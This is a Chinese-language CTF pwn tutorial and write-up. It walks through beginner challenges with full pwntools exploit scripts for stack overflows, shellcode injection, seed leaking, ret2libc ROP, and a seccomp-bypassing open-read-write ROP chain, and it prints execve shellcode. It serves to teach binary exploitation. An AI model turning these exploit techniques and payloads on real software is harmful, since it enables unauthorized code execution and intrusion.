跳转至

Basic

写在前面

如果您是一个萌新,想成为一个pwn手,以下是我的建议:

  1. 把C语言学好。所谓学好不仅指对C的语法了然于胸,更要对程序内存模型有基本了解。您在上C语言课时也许被指针困扰许久。为什么交换两个值的函数应被声明为void swap(int* a, int* b),而不是void swap(int a, int b)?所谓“指针数组 数组指针 函数指针 函数指针数组”究竟是什么?这些指针究竟有什么联系和区别?相较于更高级的编程语言(Java python)等,C语言给了程序员直接操控内存的能力。这给顶级程序员带来了便捷(maybe),也给没那么顶级的程序员带来了巨大的灾难(指段错误调一天,日常内存泄漏,对着合作者的代码破口大骂,和程序被人pwn掉)。正因如此,大多数pwn题源码都是C语言的。想当一个优秀的pwn手,你也要成为一个C语言系列大佬 c
  2. 熟悉以下常用工具:

    • IDA:强大的反汇编工具
    • pwntools:from pwn import *
    • Ubuntu:一款好用的Linux系统
    • pwndbg:一个gdb插件,让你更方便地进行动态调试
  3. 保持热爱,no pwn no fun!

signin

拖进IDA 按F5就好了,迫真签到

ida

依次输入"yes" "IDA" "F5"就拿到flag了

babystack

新选手入门的最最基本的栈溢出。对程序栈有基本理解、会用pwntools就问题不大

拖进IDA,注意到hello()函数中存在栈溢出漏洞

ida

并且程序给出了一个后门函数backdoor()

ida

我们知道,一个函数的调用栈结构如下:

stack

通过read读入的数据将hello()的返回地址覆盖为backdoor()的地址,程序就能跳转到后门函数处,从而get shell

exp如下:

from pwn import *

context.terminal = ["tmux","splitw","-h"]

io = process("./pwn")
# io = remote("node1.pwn.tryout.hitctf.cn", 30011)
elf = ELF("./pwn")

backdoor = elf.symbols["backdoor"]
print(hex(backdoor))
payload = b'a'*0x18 + p64(backdoor)

io.sendlineafter("Your name: ", payload)

io.interactive()

babysc

IDA中查看程序主逻辑:

ida

发现对程序退出前调用bye()的方式是通过函数指针进行的。跟进bss段可以看到,函数指针位于我们输入的name的正下方:

ida

注意到name数组的大小为64个字节,而我们最多可以输入0x100个字节,说明我们可以将函数指针覆盖掉,从而让程序执行我们希望执行的函数。那么覆盖成什么呢?

用checksec查看程序,可以发现程序没有开启NX保护:

checksec

不难想到,我们可以在name字段中输入一段能让我们getshell的可执行代码,然后将函数指针的值覆盖为我们代码的起始地址,就能get shell

exp如下:

from pwn import *

context.arch = "amd64"

sc = asm(shellcraft.amd64.linux.sh())

io = process("./shellcode")
# io = remote("node1.pwn.tryout.hitctf.cn", 30021)

name_addr = 0x4040A0

payload = sc.ljust(0x40, b"\0")
payload += p64(name_addr)

io.sendafter("Your name plz?", payload)

io.interactive()

多说几句

pwntools为我们提供了很方便地生成shellcode的功能,那么生成的shellcode究竟是什么呢?

In [1]: from pwn import *

In [2]: context.arch = "amd64"

In [3]: print(shellcraft.amd64.linux.sh())
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f /* /bin///sh */
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

In [4]: print(disasm(asm(shellcraft.amd64.linux.sh())))
   0:   6a 68                   push   0x68
   2:   48 b8 2f 62 69 6e 2f    movabs rax, 0x732f2f2f6e69622f
   9:   2f 2f 73 
   c:   50                      push   rax
   d:   48 89 e7                mov    rdi, rsp
  10:   68 72 69 01 01          push   0x1016972
  15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
  1c:   31 f6                   xor    esi, esi
  1e:   56                      push   rsi
  1f:   6a 08                   push   0x8
  21:   5e                      pop    rsi
  22:   48 01 e6                add    rsi, rsp
  25:   56                      push   rsi
  26:   48 89 e6                mov    rsi, rsp
  29:   31 d2                   xor    edx, edx
  2b:   6a 3b                   push   0x3b
  2d:   58                      pop    rax
  2e:   0f 05                   syscall

大家可以试一试自己写一段shellcode,成为能手写汇编的机器语言系列大佬 c

babygame

这题上线时发现了源码中的一个小失误,导致实际被用作种子的值只有一个字节== 不过并不影响做题思路,这里就用我修复过的程序来讲解吧

程序主逻辑很简单,要求用户先输入name,然后进行猜随机数的游戏,连续猜中16次后get shell

ida1

ida1

我们知道,用C语言的rand()方法生成随机数时需要先用srand (unsigned int __seed)函数来初始化一个种子。并且,种子相同,则生成的随机数序列也完全一致。也就是,我们如果知道了srand的seed参数,那么就可以获得猜随机数游戏的胜利。

本题中,种子是是通过读取/dev/urandom来生成的,我们无法预测种子的值。但我们注意到,seed在栈上的位置正好位于name[0x10]的正下方,我们输入16个字节的name将name[0x10]填满,那么由于printf("%s", str)是通过'\0'截断字符串,seed也会和name一起被printf输出:

leak

有了随机数种子,我们就可以自己写一个C程序来生成一样的随机数了。

exp如下:

随机数生成器:

// 生成随机数
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int main(){
    int seed;
    sleep(0.5);
    printf("seed: ");
    scanf("%d", &seed);
    srand(seed);
    for(int i = 0; i < 16; i++){
        int r = rand() % 27;
        printf("round%d: %d\n", i, r);
    }
}

编译:

gcc -o exp exp.c

最终exp:

from pwn import *

io = process("./game")
context.log_level = 'debug'

io.sendafter("your name plz:", "a"*0x10)
io.recvuntil("a"*0x10)
seed = u32(io.recv(4))
print(seed)

randio = process("./exp")
randio.sendline(str(seed))
for i in range(16):
    randio.recvuntil("round%d: " %i)
    num  = randio.recvline()
    print(num)
    io.sendafter("you guess: ", num)
randio.close()
io.interactive()

teen stack

老规矩拖进IDA,发现后门函数已经没了,除此之外和baby stack没什么差别。

ida

我们同样可以利用栈溢出覆盖返回地址的方式来控制程序流。我们可以让程序返回到libc中的system函数,并想办法构造函数的参数从而执行system("/bin/sh"),但libc在哪呢?

mem

这张图来自计算机领域经典著作CS:APP (中译本:《深入理解计算机系统》)。libc位于较高的地址空间处,并其基地址是随机化的。我们想控制程序流进入libc的话,就要知道libc的地址。怎么做呢?以下是你可能需要的背景知识:

plt表和got表

一个动态链接的程序是怎样访问libc中的函数的呢?IDA中的汇编代码call puts是怎么执行的?我们用gdb跟进去看一看

gdb

si进入到调用内部:

gdb

不难发现,这并不是实际的puts函数。这段调用的实际是puts对应的plt表项。在ELF格式可执行文件中存在plt表和got表段,程序中每一个调用到的库函数都会有对应的表项。以puts函数为例,puts对应的got表项负责存放puts在libc当中的实际地址,而puts对应的plt表项中是一段代码,程序调用puts时实际是调用plt表中的代码,这段代码会将程序跳转至puts的实际地址。在IDA中我们也可以观察到该字段:

plt

got

对pwn手来说,我们可以:

  1. 通过调用plt表来调用我们想要的函数
  2. 通过got表来泄露libc地址
  3. 篡改got表中的内容,劫持控制流

关于got表、plt表和动态链接库的相关知识可以参考CS:APP一书进一步学习。对于这道题来讲,我们可以通过栈溢出漏洞调用puts.plt(puts.got)来实现泄露libc的目的

函数参数传递、return-oriented programming

我们可以将返回地址覆盖成puts.plt来调用puts,那我们如何设置参数呢?64位C语言程序中,我们在执行func(int a, int b)时,a和b是如何传递给func的?

如果一个函数有若干个参数,在调用该函数时,前6个参数分别放在寄存器rdi rsi rdx rcx r8 r9中,剩下的参数按从右向左的顺序依次压入栈中。也就是说,我们需要将rdi寄存器的值置为puts.got的地址。既然我们可以控制栈,那我们就可以把参数放在栈上,然后调用pop rdi这样的汇编代码,来把参数送入寄存器。幸运的是,我们可以用ropper在程序中找到一些可用的程序碎片gadget

ropper -f ./pwn

ropper

我们想要执行puts.plt(puts.got),可以将程序返回地址覆盖为pop rdi; ret;的地址,下8字节覆盖为puts.got的地址,再下8个字节覆盖为puts.plt的地址以执行puts,并将再下8个字节覆盖成hello的地址以重复利用该栈溢出漏洞。payload如下:

payload = b'a'*0x18 + p64(gadget_addr) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(hello_addr)

程序会先跳转到pop rdi,将栈上的puts.got地址放入rdi寄存器,然后调用ret,跳转到puts.plt泄露libc地址,执行完puts后再次ret,回到hello,这种技术我们称之为return-oriented programming,简称rop

有了libc地址后,我们就可以获取system的地址了。libc中还有""/bin/sh\0"字符串,我们同样也可以获得其地址。我们可以故技重施,通过rop技术让程序执行system("/bin/sh\0")

以下为完整exp:

from pwn import *

context.terminal = ["tmux","splitw","-h"]
# context.log_level = 'debug'
context.arch = "amd64"

io = process("./pwn")
# io = remote("node1.pwn.tryout.hitctf.cn", 30061)
# io = gdb.debug("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

gadget_addr = 0x0000000000401293 # pop rdi; ret;
hello_addr = elf.symbols["hello"]

payload = b'a'*0x18 + p64(gadget_addr) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(hello_addr)

io.sendafter("Your name: ", payload)
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, b'\0'))
print(hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]

system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b"/bin/sh\0"))

payload = b'a'*0x18 + p64(gadget_addr) + p64(binsh_addr) + p64(system_addr)

io.send(payload)

io.interactive()

adult stack

打开IDA发现这题和teenstack差别不大,除了程序开始时调用了一个init_seccomp()函数

ida

我们试一试重复利用teenstack的exp,发现程序最后挂掉了

wrong

原因是这道题采用了seccomp技术,该技术可以设置系统调用规则,来按编程者的要求放行/阻止某些系统调用。我们可以用seccomp-tools工具来查看究竟使用了哪些系统调用

seccomp

可见,程序放行了read write open close exit_group, 并阻止了其他系统调用。我们可以利用这些系统调用,打开flag文件,将其读入内存,并将其写到stdout中,即通过OpenReadWrite直接读出flag。也就是:

open("flag", 0);
read(3, buf, 0x40);
write(1, buf, 0x40);

我们在IDA中发现flag字符串是现成的:

ida2

当然如果你没发现的话你也可以自己写一个进去==

并且ropper中也能找到足够的gadget:

ropper

于是我们就可以在泄露libc后构造出一条rop链,通过orw来读flag:

result

完整exp如下:

from pwn import *

context.terminal = ["tmux","splitw","-h"]
# context.log_level = 'debug'
context.arch = "amd64"

io = process("./pwn")
# io = remote("node1.pwn.tryout.hitctf.cn", 30061)
# io = gdb.debug("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

gadget1_addr = 0x0000000000401215 # pop rdi; ret;
gadget2_addr = 0x0000000000401217 # pop rsi; ret;
gadget3_addr = 0x0000000000401219 # pop rdx; ret;
hello_addr = elf.symbols["hello"]
flag_str_addr = 0x0000000000402008 + 42
buf_addr = elf.symbols["buf"]

payload = b'a'*0x18 + p64(gadget1_addr) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(hello_addr)

io.sendafter("Your name: ", payload)
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, b'\0'))
print(hex(puts_addr))

# gdb.attach(io)
libc.address = puts_addr - libc.symbols["puts"]

payload = b'a'*0x18
# open("flag", 0);
payload += flat(
    gadget1_addr,
    flag_str_addr,
    gadget2_addr,
    0,
    libc.symbols["open"]
)
# read(3, buf, 0x40);
payload += flat(
    gadget1_addr,
    3,
    gadget2_addr,
    buf_addr,
    gadget3_addr,
    0x40,
    libc.symbols["read"]
)
# write(1, buf, 0x40)
payload += flat(
    gadget1_addr,
    1,
    gadget2_addr,
    buf_addr,
    gadget3_addr,
    0x40,
    libc.symbols["write"]
)


io.send(payload)

io.interactive()